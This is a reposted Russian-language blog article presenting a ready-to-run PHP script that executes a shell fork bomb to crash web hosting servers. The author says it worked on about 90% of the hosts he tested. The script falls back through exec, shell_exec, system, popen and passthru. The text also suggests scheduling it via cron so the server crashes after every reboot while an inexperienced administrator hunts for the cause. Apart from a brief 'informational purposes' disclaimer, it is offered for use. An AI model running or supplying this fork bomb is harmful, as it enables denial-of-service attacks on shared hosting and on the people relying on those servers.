- PVSM.RU - https://www.pvsm.ru -

Вешаем сервер через PHP

Вешаем сервер через PHP
Здравствуйте, уважаемые хабра-пользователи. Довольно давно я написал PHP скрипт — fork-бомбу [1] и начал его тестировать на различных серверах/хостингах. На моё удивление, скрипт работал на 90% протестированных мною компаний. Я отписал об этой баге во многие компании, но прошло уже много времени, а она до сих пор актуальна.

Как работает скрипт

Для начала, мы проверяем, какие из нужных нам функций доступны на сервере. Всего их 5:
exec [2], shell_exec [3], system [4], is_resource [5], passthru [6].
Описывать каждую функцию я не буду, если Вам интересно, я оставил ссылки на них.

Далее мы просто выполняем форк-запрос через функцию, и если сервер уязвим, то ему поможет только перезагрузка.

Чем это грозит

Мало того, что скрипт вешает сервер, его можно поставить по крону и неопытный администратор будет долго искать причину, почему его сервер падает сразу после загрузки. Опытным это проблем не доставит, но все же не приятно.

Сам скрипт


//Функция тестирования
function TestFunc($in)
{
    $out = '';
    if (function_exists('exec'))
    {
        @exec($in, $out);
        $out = @join("n", $out);
    }
    elseif (function_exists('shell_exec'))
    {
        $out = shell_exec($in);
    }
    elseif (function_exists('system'))
    {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }
    elseif (is_resource($f = @popen($in, "r")))
    {
        $out = "";
        while (!@feof($f))
            $out .= fread($f, 1024);
        pclose($f);
    }
    elseif (function_exists('passthru'))
    {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }
    return $out;
}

echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка

Заключение

Внимание, Все операции вы выполняете на свой страх и риск! Статья написана для ознакомительных целей.

Автор: AlexanderPHP


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/php-2/3411

Ссылки в тексте:

[1] fork-бомбу: http://ru.wikipedia.org/wiki/Fork_bomb

[2] exec: http://www.php.su/functions/?exec

[3] shell_exec: http://www.php.su/functions/?shell_exec

[4] system: http://www.php.su/functions/?system

[5] is_resource: http://www.php.su/functions/?is_resource

[6] passthru: http://www.php.su/functions/?passthru